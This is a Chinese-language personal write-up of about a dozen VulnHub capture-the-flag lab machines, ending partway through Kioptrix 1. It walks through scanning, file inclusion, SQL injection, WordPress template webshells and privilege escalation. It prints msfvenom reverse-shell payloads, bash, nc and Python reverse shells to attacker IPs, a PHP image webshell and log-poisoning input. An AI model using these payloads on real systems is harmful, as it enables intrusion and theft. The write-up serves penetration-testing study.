Vulhub 刷题(一)


title: vulnhub
subtitle: 渗透入门
date: 2022-08-02
author: Sprint#51264


引言

最近写了一下,有好几个最终没有写出来的,过后再返回来看吧,大家看到了也就当个日记随便看一眼

主要参考自[红日安全:vulnhub靶场实战指南]

一:breach 1.0

启发

  • keytool

    密钥管理工具

    keytool -list -keystore 根据具体用法生成.p12密钥文件

    wireshark->编辑->首选项->Protocols->TLS(新版本的wireshark没有单独的SSL选项了),edit,选定ip和端口,选中对应密钥文件,输入密码

  • 上传shell

    msfvenom -p 模块 -f 格式 -o 输出文件名做shell

    做war扩展shell方法:

    
    法1
    
    msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx lport=xxxx -f jsp -o shell.jsp
    
    zip -r shell.zip shell.jsp
    cp shell.zip shell.war
    
    法2
    
    msfvenom -p java/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx lport=xxxx -f war -o shell.war
    
    (ps:第二种我没成功,用第一种才整好,不知道为什么)
    
    附弹shell:
    
    echo "bash -i >& /dev/tcp/192.168.110.128/4444 0>&1" | bash
    
    
  • 监听

    msfmulti/handler模块

    
    search multi/handler
    
    选exploit(multi/handler)
    
    设置meterpreter payload,设置监听ip
    
    run或者exploit,打开监听
    
    
  • 反弹shell后

    使用meterpreter的shell命令获取操作系统

    有python环境可以用python启动虚拟终端python -c 'import pty;pty.spawn("/bin/bash")'

    得到一个用户权限之后

    cat /etc/passwd看一下有哪些用户值得关注,哪些是/bin/bash环境

    使用history查看当前用户命令历史

    使用sudo -l查看当前用户权限

  • tee + 定时任务 + nc反弹shell

    tee 命令:用来将标准输入的内容输出到标准输出并可以保存为文件

    
    echo "nc -e /bin/bash 192.168.110.128 5555" > shell.txt
    (没写权限记得换文件夹,tmp就不错)
    
    cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
    
    kali: nc -lvp 5555
    

二:billux:box

流程

  • 主机发现

    先扫C段找到目标主机,中途直接用vmware切换网络连接方式可能会找不到对应ip,主机开放8022端口,对应httpssh服务

  • 端口扫描

    nmap -sV -A 192.168.197.134

  • 访问web页面

    • 发现是一个登录框,查看源码之后发现有个弹窗脚本,每次提交必弹try again

    • sqlmap注入:sqlmap -u "http://192.168.197.134" --data "un=asd&ps=asdd&login=let%27s+login" --dbms mysql 无果

    • 目录爆破test.php、add.php、in.php、c.php、index.php、show.php 目录:uploaded_images,phpmy(dirsearch速度和效率上确实没得说)

    • test.php有一个文件包含漏洞,POST方式传参可以成功,发现/etc/passwd中有ica:x:1000:1000:ica,,,:/home/ica:/bin/bash,也就是说可以用root和ica账户登录

    • 用文件包含读源码

      add.php页面有一个文件上传页面,但是没有实际功能

      in.php是phpinfo信息

      c.php包含mysql连接信息,"billu","b0x_billu","ica_lab"

      show.php需要POST传一个continue参数,然后就可以得到两条数据库里的用户信息JackCaptain Barbossa

    • 从/phpmy登录phpmyadmin

      可以看到auth表里面有一条记录biLLu hEx_it

      download表里看到从images目录下载图片,访问images目录看到图片列表,但是图片没有什么重要信息

      users里面就是刚刚show.php看到的信息

    • 使用刚得到的用户名密码尝试首页登录

      进入到panel.php

      showuser存在文件包含漏洞,对load参数进行检测,如果等于show就包含show.php,如果等于add,就包含add.php,否则就包含load参数所指示的文件,其中./是被过滤的

      用test.php查看页面源码可以发现,文件上传主要检测content-type值,如果符合image/png image\jpg image/png就可以上传到uploaded_images目录

      构造图片马y.jpg

      
      GIF89A
      <?php system($_POST['cmd']);?>
      
      

      然后传参load要改为uploaded_images/y.jpg
      传cmd参数

    • 反弹shell

启发

  • 登录框漏洞挖掘思路:

    SQL注入、目录爆破、漏洞扫描、手动挖掘(查看数据包寻找利用点)、网页源码

  • 改包

    太久不用就容易生疏,改请求方式GET->POST的时候要传表单数据记得加content-type:application/x-www-form-urlencoded字段,或者其他形式的数据,不然参数识别不了

  • 文件包含信息泄露

    /etc/passwd文件查看用户

三:Bulldog 1

流程

  • 简介

    
    Bulldog Industries最近的网站被恶意的德国牧羊犬黑客团队破坏并拥有。这是否意味着有更多漏洞可利用?你为什么不把它们找出来呢?
    
    标准的boot-to-Root靶场,目标是进入root目录看到入侵成功信息。
    
    建议用Virtual Box打开,用vmware桥接获取不到ip
    
  • 主机发现

    
    arp-scan -l
    #192.168.43.198  08:00:27:23:5d:17       PCS Systemtechnik GmbH
    
    nmap -sP 192.168.43.0/24
    #锁定目标 192.168.43.198
    
    
  • 端口扫描

    
    nmap -sV 192.168.43.198
    
    nmap -p- -T5 192.168.43.198
    
    PORT     STATE SERVICE
    23/tcp   open  telnet
    80/tcp   open  http
    8080/tcp open  http-proxy
    MAC Address: 08:00:27:23:5D:17 (Oracle VirtualBox virtual NIC)
    
    
  • 漏洞发现

    
    主页信息找了找没有什么可利用的
    
    开始目录扫描
    
    dirsearch -u http://192.168.43.198
    
    dirb http://192.168.43.198
    
    # dirb扫出来的目录确实多
    
    主要是/dev、/admin页面,robots.txt页面已经被黑了
    
    admin页面登录框,dev页面是介绍内容,并且有一个shell可以连接(需要认证)
    
    打开源码能看到对应账户的hash值,尝试破解
    
    

    hash

    
    <!--Need these password hashes for testing. Django's default is too complex-->
    <!--We'll remove these in prod. It's not like a hacker can do anything with a hash-->
    Team Lead: alan@bulldogindustries.com<br><!--6515229daf8dbdc8b89fed2e60f107433da5f2cb-->
    Back-up Team Lead: william@bulldogindustries.com<br><br><!--38882f3b81f8f2bc47d9f3119155b05f954892fb-->
    Front End: malik@bulldogindustries.com<br><!--c6f7e34d5d08ba4a40dd5627508ccb55b425e279-->
    Front End: kevin@bulldogindustries.com<br><br><!--0e6ae9fe8af1cd4192865ac97ebf6bda414218a9-->
    Back End: ashley@bulldogindustries.com<br><!--553d917a396414ab99785694afd51df3a8a8a3e0-->
    Back End: nick@bulldogindustries.com<br><br><!--ddf45997a7e18a25ad5f5cf222da64814dd060d5-->---------->(bulldog)
    Database: sarah@bulldogindustries.com<br><!--d8b8dd5e7f000b8dea26ef8428caf38c04466b3e-->--------------->(付费才有)
    
    

    登录后台

    
    nick:bulldog
    
    没有编辑权限,但是认证成功之后就可以访问webshell了
    
    webshell页面只能执行一些白名单的命令
    
    尝试使用管道符来进行绕过,分号被过滤了,但是可以用&&实现绕过白名单
    
    
  • 反弹shell

    
    echo "bash -i >& /dev/tcp/192.168.43.28/9797 0>&1" | bash
    
    cat /etc/passwd 主要关注Django和bulldogadmin用户
    
    
  • 权限提升

    
    # -user查找属于某个用户的文件,0是标准输入,1标准输出,2标准错误输出
    find / -user bulldogadmin 2>/dev/null
    
    重点关注两个文件,note 和 customPermissionAPP
    
    /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp
    /home/bulldogadmin/.hiddenadmindirectory/note
    
    note中提示webserver有时需要root权限访问
    
    输出内容APP文件有很多乱码,用strings提取可打印字符
    
    有这么一段
    
    SUPERultH
    imatePASH
    SWORDyouH
    CANTget
    
    去掉H拼接起来SUPERultimatePASSWORDyouCANTget
    
    

    提权root

    
    su root提示must be run from a terminal
    
    有python环境可以用python启动虚拟终端`python -c 'import pty;pty.spawn("/bin/bash")'`
    
    su 输入密码SUPERultimatePASSWORDyouCANTget
    
    成为root,cat /root/congrats.txt
    
    

启发

  • 复习

    进入shell之后没有从终端启动的话,可以用python起一个终端环境

    python -c 'import pty;pty.spawn("/bin/bash")'

    登陆系统之后主要找id为1000启动环境为/bin/bash的用户

  • 其他

    也可以从ssh登陆上去再su

四:LazySysAdmin: 1

流程

  • 作者提示

    
    Enumeration is key
    Try Harder
    Look in front of you
    Tweet @togiemcdogie if you need more hints
    
    
  • 主机发现

    
    namp -sP 192.168.157.0/24
    
    arp-scan -l
    
    # 发现主机 192.168.157.130
    
    内网主机探测可以用 netdiscover
    
    netdiscover -i eth0
    
  • 服务发现

    
    nmap -sV 192.168.157.130
    
    PORT     STATE SERVICE     VERSION
    22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
    80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
    139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
    445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
    3306/tcp open  mysql       MySQL (unauthorized)
    6667/tcp open  irc         InspIRCd
    MAC Address: 00:0C:29:2C:63:5F (VMware)
    
    masscan 192.168.157.130 -p 1-10000 --rate=1000
    
  • 漏洞发现

    
    访问80端口,没有找到有用的信息
    
    访问robots.txt 发现几个页面,访问之
    
    Disallow: /old/
    Disallow: /test/
    Disallow: /TR2/
    Disallow: /Backnode_files/
    
    前三个目录没东西,第四放着主页的一些文件
    
    
    

    smb

    
    主机有smb服务,尝试从本地资源smb://192.168.157.130
    
    访问share文件夹可以匿名,其中是网站的源码文件
    
    deets.txt文件下载下来查看,发现其中说明密码为12345
    
    ssh直接连接,用户名就是网站上写的togie,密码就是123456
    
    id、pwd、whoami
    
    root权限的
    
    
    

    扫目录

    
    dirb http://192.168.157.130
    
    dirsearch -u http://192.168.157.130
    
    发现几个页面:info.php(phpinfo页面)phpmyadmin(需要密码)wordpress()、
    
    还是smb访问文件源码,wp-config.php中有数据库配置
    
    得到数据库用户名密码Admin:TogieMYSQL12345^^
    
    登录phpmyadmin,发现不能操作
    
    但是可以登录wordpress的管理页面wp-admin
    
    在template里面写马,连接
    
    

启发

  • smb

    开放smb服务可以直接连接看看有没有开放的文件

  • wordpress

    配置页面wp-config.php

    admin页面wp-admin.php

    登陆页面wp-login.php

五:Freshly

流程

  • 描述

    目标是通过web登录然后找到敏感文件中的秘密

  • 主机发现

    
    nmap 192.168.43.0/24
    
    arp-scan -l
    
    Nmap scan report for localhost (192.168.43.89)
    Host is up (0.00022s latency).
    Not shown: 997 closed tcp ports (reset)
    PORT     STATE SERVICE
    80/tcp   open  http
    443/tcp  open  https
    8080/tcp open  http-proxy
    MAC Address: 08:00:27:C9:49:18 (Oracle VirtualBox virtual NIC)
    
    
  • 服务发现

    
    nmap -sV -A 192.168.43.89
    
    发现开放三个端口,804438080
    
    其中80端口只有一张动图,访问443
    
    点开连接访问了wordpress
    
    
  • 漏洞发现

    
    dirsearch -u http://192.168.43.89 -e * -t 100
    
    如果是扫的443端口就扫不到login.php和phpmyadmin
    
    wordpress/wp-login.php
    
    wordpress/
    
  • 漏洞利用

    SQL注入

    
    burp抓包保存本地文件1
    
    sqlmap -r 1 --dbms mysql -D wordpress8080 -T users --dump
    
    #admin SuperSecretPassword
    
    

    登陆后台

    
    Appearance->Editor->404page
    
    本地生成木马
    
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.43.28 LPORT=9594 > shell.php
    
    复制木马内容到404template里
    
    msf起一个监听
    
    use multi/handler
    set payload php/meterpreter/reverse_tcp
    set lhost 192.168.43.28
    set lport 9594
    run
    
    访问wordpress主题下的这个404页面
    
    http://192.168.43.89/wordpress/wp-content/themes/twentythirteen/404.php
    
    反弹shell成功
    
    
  • 提权

    
    当前用户
    id、whoami、pwd
    
    cat /etc/passwd
    
    #秘密就在passwd文件中
    
    "# SECRET = "NOBODY EVER GOES IN, AND NOBODY EVER COMES OUT!""
    
    尝试提权到root
    
    密码是SuperSecretPassword
    
    
    

启发

  • msfvenom生成的木马拿出来代码插网页里也能用

  • 不同端口可以扫描到的目录可能不通,虽然他们部署的代码一样?

  • 另一种方法:上传shell直接到wordpress的插件中

六:FristiLeaks

FristiLeaks靶机渗透

流程

  • 目标

    得到root权限并读取flag文件

  • 注意

    设置虚拟机MAC地址为08:00:27:A5:A6:76

  • 主机发现

    
    arp-scan -l
    
    #发现目标主机 192.168.43.240
    
  • 服务发现

    
    nmap -sV -A 192.168.43.240
    
    只开了80端口HTTP服务
    
    PORT   STATE SERVICE VERSION
    80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
    |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
    |_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
    | http-robots.txt: 3 disallowed entries 
    |_/cola /sisi /beer
    | http-methods: 
    |_  Potentially risky methods: TRACE
    MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
    
    robots.txt禁止爬的页面也没有什么有用的信息
    
  • 目录扫描

    
    dirsearch -u http://192.168.43.240
    
    有images/目录
    
    其他具体信息没有
    
    尝试访问/fristi/目录
    
    发现一个登陆页面
    
    有一段注释,一个叫eezeepz的人写了这个页面,下面还有一段base64注释,怀疑是图片信息,将页面上面的图片信息直接修改为注释段的内容,显示一张图片,,内容为keKkeKKeKKeKkEkkEk
    
    
    
  • 反弹shell

    
    
    尝试用username:eezeepz   password:keKkeKKeKKeKkEkkEk进行登录
    
    登录成功,发现能上传文件
    
    上传有后缀限制,利用apache解析特性,从右往左解析,上传时添加后缀apache.php.jpg
    
    msf开一个监听multi/handler,msfvenom生成php反弹shell文件,上传
    
    访问/uploads/shell.php.jpg
    
    成功反弹
    
    
  • 敏感信息发现

    
    进去home目录,cd 到eezeepz目录下,发现notes.txt,cat之发现提示,说在/tmp目录下创建一个runthis的文件夹,每行写一个命令,每分钟会执行一次并且结果会出在/tmp/cronresult目录下
    
    /home/admin目录下还有几个能用的命令,chmod、df、cat、echo、ps、grep、egrep
    
    python -c import 'import pty;pty.spawn("/bin/bash")'
    
    echo '/home/admin/chmod 777 /home/admin' > runthis
    
    然后就可以读admin目录里面的内容
    
    ls /home/admin
    
    发现 cryptpass.py、whoisyourgodnow.txt、cryptedpass.txt
    
    加密后密码mVGZ3O3omkJLmy2pcuTq
    whoisyourgodnow:=RFn0AKnlMHMPIzpyuTI0ITG
    
    

    加密脚本和解密脚本

    
    python
    import base64,codecs,sys         ---使用python导入base64,codecs,sys模块module!
    rot13Str = "mVGZ3O3omkJLmy2pcuTq"
    base64Str = codecs.decode(rot13Str[::-1], 'rot13')  --用codecs编码转换[::-1],decode编码转换rot13
    clearTextStr = base64.b64decode(base64Str)    ---base64Str进行decode进行base64解码
    print (clearTextStr)          ---打印出clearTextStr
    
    import base64,codecs,sys
    rot13Str = "=RFn0AKnlMHMPIzpyuTI0ITG"
    base64Str = codecs.decode(rot13Str[::-1], 'rot13')
    clearTextStr = base64.b64decode(base64Str)
    print (clearTextStr)
    
    

    解密后

    
    
    cryptedpass:        thisisalsopw123
    whoisyourgodnow:    LetThereBeFristi!
    
    尝试切换到fristigod
    
    成功登录,history
    
    发现重复以下命令
    
    sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
    
    尝试执行
    
    sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom su -
    
    发现切换到了root用户
    
    
    
    ls
    
    cat fristileaks_secrets.txt
    
    
    Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]
    
    I wonder if you beat it in the maximum 4 hours it's supposed to take!
    
    Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)
    
    
    Flag: Y0u_kn0w_y0u_l0ve_fr1st1
    
    
    

启发

  • su与su -

    su只是用户切换,本身的shell环境还是原来的

    su - 是切换到root并且环境也切换成root的shell环境

  • 复习apache解析规则

七:The Ether

红日安全-Vulnhub实战指南

流程

  • 说明

    获取root权限拿到flag

  • 主机发现

    
    arp-scan -l
    
    nmap 192.168.43.0/24
    
    # 靶机192.168.43.192
    
    
  • 服务识别

    
    nmap -sV -A 192.168.43.192
    
    只能普通扫
    
    nmap -sS 192.168.43.192
    
    PORT   STATE SERVICE
    22/tcp open  ssh
    80/tcp open  http
    
    开了8022,访问之
    
    
  • 漏洞发现

    
    源码里都是井号,但是看到点页面跳转的方式是有一个file参数
    
    尝试文件包含apache日志路径无果,尝试包含ssh登录日志
    
    先ssh登录
    
    ssh '<?php system($_GET[1])?>'@192.168.43.192
    
    再包含
    
    ?file=/var/log/auth.log&1=ls
    
    (传的时候把后面的参数url全编码)
    
    ?file=/var/log/auth.log&1=%6c%73%20%2f
    
    发现命令执行
    
    
  • 漏洞利用

    
    在本地生成木马,然后本地起一个http服务,靶机用wget木马然后反弹shell
    
    靶机执行uname -a
    
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.28 LPORT=9594 -f elf > shell.elf
    
    python -m SimpleHTTPServer
    
    靶机
    
    wget 192.168.43.28:8000/shell.elf
    
    chmod +x shell.elf
    
    ./shell.elf
    
    (记得url全编码)
    
    
    msf开启监听本地9594端口
    
  • 权限提升(脏牛没有成功)

    脏牛提权CVE-2016-5195

    
    反弹shell之后uname -a
    
    发现版本是16.04.1,这个版本可以用脏牛提取(CVE-2016-5195)
    
    本地打开HTTP服务然后shell里wget一下
    
    gcc -pthread dirty.c -o dirty -lcrypt
    
    ./dirty <新密码>
    
    然后等待提权完成,创建好了新的账户firefart,密码自定义的
    
    su的时候发现需要从终端启动,用python起一个终端环境
    
    python -c 'import pty;pty.spawn("/bin/bash")'
    
    不知道为什么显示账户创建成功但是没有这个用户
    

    换参考答案的思路

    
    sudo -l 发现这个能不需要密码执行当前目录下的xxxlogauditorxxx.py
    
    尝试命令拼接 
    
    sudo ./xxxlogauditorxxx.py 
    
    出现日志选择页面
    
    /var/log/auth.log | ./shell.elf
    
    这样就以root权限返回一个shell
    
    我不知道怎么把开启的监听放后台再连接,于是乎又开了一个msf【捂脸】
    
    监听到,shell,whoami
    
    已经是root了
    
    
  • 敏感信息获取

    
    cd root
    
    ls
    
    meterpreter下载这个图片看一眼,说
    
    `Sorry,this is not the flag,but what you are looking for is near. Look within yourself to find the answer you seek.`
    
    strings flag.png
    
    提取最后的base64解码
    
    把base内容写flag.txt里面
    
    cat flag.txt | base64 -d
    
    就能看到这个基因项目的日记了,nice
    
    

启发

  • 常见日志路径

    
    #apache
    /var/log/apache/access.log
    /var/log/apache2/access.log
    /var/www/logs/access.log
    /var/log/access.log
    
    #ssh
    /var/log/auth.log
    
    
  • 提权手法

    sudo执行可以执行命令的文件,运行反弹shell的文件,反弹的就是root权限的shell

八:zico2

流程

  • 描述

    
    zico想建站,但是不知道用什么CMS比较好,用了几个之后决定自己写一个,这个主意好嘛?
    
    目标:获取root权限并读flag文件
    
    提示:枚举、枚举、还是枚举
    
  • 主机发现

    
    arp-scan -l
    
    nmap 192.168.43.0/24
    
    netdiscover -r 192.168.43.0/24
    
    # 发现主机 192.168.43.167
    
    
  • 服务发现

    
    masscan -p 1-10000 192.168.43.167 --rate=1000
    
    nmap -sV -A 192.168.43.167
    
    PORT    STATE SERVICE
    22/tcp  open  ssh
    80/tcp  open  http
    111/tcp open  rpcbind
    
    未知原因不能深度扫描了...
    
    发现80,访问之
    
    
  • 漏洞发现

    
    页面源码没有什么信息泄露,但是注意到访问check them out的时候页面传参?page=tools.html
    
    怀疑存在文件包含漏洞
    
    尝试了伪协议和直接路径不行
    
    路径穿越../../../../../../etc/passwd可以
    
    发现一个zico用户ID1000
    
    

    目录扫描

    
    dirsearch -u http://192.168.43.167:80 -e * -t 100
    
    dirb http://192.168.43.167:80
    
    扫到的目录里有一些有趣的
    
    /dbadmin、/img
    
    访问/dbadmin发现一个文件test_db.php
    
    点进去
    
    好像是一个后台页面,可以登录
    
    尝试弱口令admin就可以登进去,可能提示是在这里进行枚举吧?
    
    看到使用的是SQLite 3.7.9 PHP5.3.10
    
    点左侧[table]info即可看到用户名密码信息
    
    

    信息:

    md5解密

    
    root:653F4B285089453FE00E2AAFAC573414
    ==>(34kroot34)
    
    zico:96781A607F4E9F5F423AC01F0DAB0EBD
    ==>(zico2215@)
    
    
  • 漏洞利用

    
    尝试用获取到的密码ssh登录,没成功
    
    继续看数据库页面,这里发现他的数据库建立之后在本地会生成一个以数据库名称命名的php文件,
    
    尝试新建一个数据库new再加一条数据写上shell
    
    然后用文件包含试一下包含这个文件,因为页面给出了绝对路径
    
    包含:../../../../../user/dbadmin/new&cmd=ls
    
    命令执行成功
    
    burp里命令执行的时候还是,记得全url编码
    
    uname -a:2012 x86_64 x86_64 x86_64 GNU/Linux
    
    
  • 反弹shell

    
    本地生成
    
    kali:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.167 LPORT=9594 -f elf >shell.elf
    
    kali:python2 -m SimpleHTTPServer
    
    靶机:wget 192.168.43.167:8000/shell.elf
    
    靶机:chmod +x shell.elf
    
    kali:msf打开监听
    
    use exploit/multi/handler
    
    set payload linux/x86/meterpreter/reverse_tcp
    
    set lhost 192.168.43.28
    
    set lport 9594
    
    run
    
    靶机:./shell.elf
    
    擦,发现没有执行,ls了一下发现就没有shell
    
    根据解析可能是权限问题,以后上传了一定要及时ls看看有没有
    
    尝试更改保存路径
    
    wget 192.168.43.28:8000/shell.elf -O /tmp/shell.elf
    
    
    ls /tmp发现保存好了,运行一下(记得加运行权限)
    
    成功上线msf
    
    
  • 权限提升

    exploit-db

    
    将uname获取的靶机版本放exploit-db上查一下发现两个漏洞
    
    对应ID:3358934134
    
    下载脚本,写入,靶机上python开终端运行,发现不行,aborted了,按理来说可以,
    
    
    

启发

  • shell

    上传shell之后一定要及时ls看看有没有shell,可能有写入权限限制导致wget shell不能保存

  • SQLite

    也有控制台,有的版本创建数据库之后可能会在本地保存以数据库名命名的文件,可以写入shell对该文件进行包含getshell

  • burp里命令执行的时候还是,记得url全编码

  • msf search local/exploit用漏洞检索模块

    设置会话就行,set session

九:Quaoar

流程

  • 介绍

    boot-to-root,capture the flag

  • 主机发现

    
    arp-scan -l
    
    nmap -sP 192.168.43.0/24
    
    # 找到主机192.168.43.116
    
    
  • 服务发现

    
    nmap -sV 192.168.43.116
    
    PORT    STATE SERVICE     VERSION
    22/tcp  open  ssh         OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
    53/tcp  open  domain      ISC BIND 9.8.1-P1
    80/tcp  open  http        Apache httpd 2.2.22 ((Ubuntu))
    110/tcp open  pop3        Dovecot pop3d
    139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
    143/tcp open  imap        Dovecot imapd
    445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
    993/tcp open  ssl/imaps?
    995/tcp open  ssl/pop3s?
    
    详细版本探测加-A参数
    
    
  • 漏洞发现

    
    访问80是一张Quaoar的图片,点击访问还是图,
    
    页面源码没有特别的地方
    
    robots.txt显示有/wordpress/
    
    dirsearch 也扫出来有wordpress,以及wordpress后台登陆页面
    
    用wpscan进行扫描
    
    wpscan --url http://192.168.43.116/wordpress --enumerate u
    
    
  • 漏洞利用

    
    admin:admin弱口令登录
    
    向404模板添加php反弹shell后门,访问不存在页面反弹shell
    
    python -c 'import pty;pty.spawn("/bin/bash")
    
    起python环境
    
    在wp配置文件中找到root账户密码
    
    su root
    
    拿到root权限,拿到另一个flag
    

启发

  • wpscan的使用

    wpscan xxx
    wpscan --update先更新
    wpscan --url xxx
    wpscan –url (网站链接) –enumerate u对注册用户名爆破

    wpscan –url (网站链接) –wordlist 密码文件 –username 用户名对指定用户的密码进行爆破

十:SickOs 1.1

流程

  • 描述

    Get /root/a0216ea4d51874464078c618298b1367.txt

  • 主机发现

    
    arp-scan -l
    
    # 192.168.43.239
    
    
  • 服务发现

    
    nmap -sV 192.168.43.239
    nmap -sV -A 192.168.43.239
    
    PORT     STATE  SERVICE    VERSION
    22/tcp   open   ssh        OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
    3128/tcp open   http-proxy Squid http proxy 3.1.19
    8080/tcp closed http-proxy
    MAC Address: 00:0C:29:5F:63:F8 (VMware)
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    
    发现三个端口,22 ssh服务,3128开了一个squid代理,8080端口关着
    
    要给浏览器加一个192.168.43.239:3128的代理,通过代理访问它的80服务
    
    dirb http://192.168.43.239 -p htp://192.168.43.239:3128
    
    dirsearch同理
    

    目录扫到/robots.txt里面有/wolfcms

  • 漏洞利用

    
    wolfcms默认后台路径为/wolfcms/?/admin
    
    admin:admin弱口令登录
    
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.43.8 LPORT=9594 > shell.php
    
    上传反弹shell文件,访问文件位置/wolfcms/public/yes.php
    
    msf打开监听
    
    收到来自192.168.43.239的反向连接
    
    
  • 权限提升

    
    uname -a Linux SickOs 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux
    
    尝试脏牛提权,上传dirty文件之后不能执行二进制文件
    
    尝试目录遍历看看有没有配置文件
    
    在/var/www/wolfcms 下发现config.php
    
    cat之发现用户名密码root:john@123
    
    尝试ssh发现失败
    
    cat /etc/passwd发现用户sickos
    
    
    su sickos 使用密码john@123发现可以登录
    
    直接擦cat /root/a0216ea4d51874464078c618298b1367.txt
    
    发现没有权限
    
    sudo -l查看权限发现能执行所有命令
    
    于是 sudo cat /root/a0216ea4d51874464078c618298b1367.txt
    
    

    flag

    
    If you are viewing this!!
    
    ROOT!
    
    You have Succesfully completed SickOS1.1.
    Thanks for Trying
    
    
    

启发

  • 设置代理

    目标靶机可能设置了反向代理,要通过代理访问对应的资源才可以,所以浏览器访问或者用工具扫的时候要设置上对应的代理才可以

十一:BSides-Vancouver-2018-Workshop

流程

  • 介绍

    boot-to-root

  • 主机发现

    
    arp-scan -l 
    #192.168.43.184
    
    
  • 服务发现

    
    nmap -sV 192.168.43.184
    
    PORT   STATE SERVICE VERSION
    21/tcp open  ftp     vsftpd 2.3.5
    22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
    80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
    MAC Address: 08:00:27:B5:9A:3A (Oracle VirtualBox virtual NIC)
    
    

    访问

    
    FTP有匿名模式访问
    
    获得users.txt.bk
    
    cat一下发现五个用户名
    
    abatchy
    john
    mai
    anne
    doomguy
    
    爆破密码
    anne 密码:princess
    
    获得flag
    
    

    web端

    
    ftp访问后得到用户名
    
    访问80端口,发现没有东西,源码也没有东西
    
    robots.txt发现页面/backup_wordpress
    
    访问之
    
    

    wpscan扫描WordPress,爆破后台用户名密码

    
    wpscan --url http://192.168.43.184/backup_wordpress --enumerate u
    
    #用户名 john admin
    
    wpscan --url http://192.168.43.184/backup_wordpress --passwords /home/dictionary/Blasting_dictionary/常用密码.txt
    
    爆破用户名john 密码enigma
    
    不能太快,不然虚拟机会崩溃
    
    页面右下方login或者记住wordpress后台登录路径
    
    wp-login.php
    
    到editor里面更改header内容
    
    加入msfvenom生成的php反弹shell脚本
    
    访问/backup_wordpress/上线msf
    
    记得闭合php
    
    
  • 提权

    
    脏牛提权虚拟机崩溃了
    
    根据提示查找用户文件浏览各目录文件,发现位于/usr/local/bin/cleanup文件,权限为777
    
    内容为
    
    #!/bin/sh
    rm -rf /var/log/apache2/\*
    
    修改该文件反弹shell
    
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.43.8",9594));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    
    
    又在/var/www下上传了个一句话,连蚁剑改文件内容
    
    发现msf上线不了
    
    那就nc -lvp 9594
    
    能收到反向连接,但是can't access tty,不知道什么原因.....
    
    

启发

  • FTP匿名访问模式

  • hydra

十二:Kioptrix 1

流程

  • 目标

    获取root权限

  • 主机发现

    
    netdiscover -r 192.168.43.0/24
    
    arp-scan -l
    
    # 192.168.43.182
    
  • 服务发现

    
    PORT     STATE SERVICE     VERSION
    22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
    80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
    111/tcp  open  rpcbind     2 (RPC #100000)
    139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
    443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
    1024/tcp open  status      1 (RPC #100024)
    MAC Address: 00:0C:29:11:17:59 (VMware)
    
    -A深度扫描
    
    PORT     STATE SERVICE     VERSION
    22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
    |_sshv1: Server supports SSHv1
    | ssh-hostkey: 
    |   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
    |   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
    |_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
    80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
    |_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
    |_http-title: Test Page for the Apache Web Server on Red Hat Linux
    | http-methods: 
    |_  Potentially risky methods: TRACE
    111/tcp  open  rpcbind     2 (RPC #100000)
    | rpcinfo: 
    |   program version    port/proto  service
    |   100000  2            111/tcp   rpcbind
    |   100000  2            111/udp   rpcbind
    |   100024  1           1024/tcp   status
    |_  100024  1           1024/udp   status
    139/tcp  open  netbios-ssn Samba smbd (workgroup: AMYGROUP)
    443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
    |_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
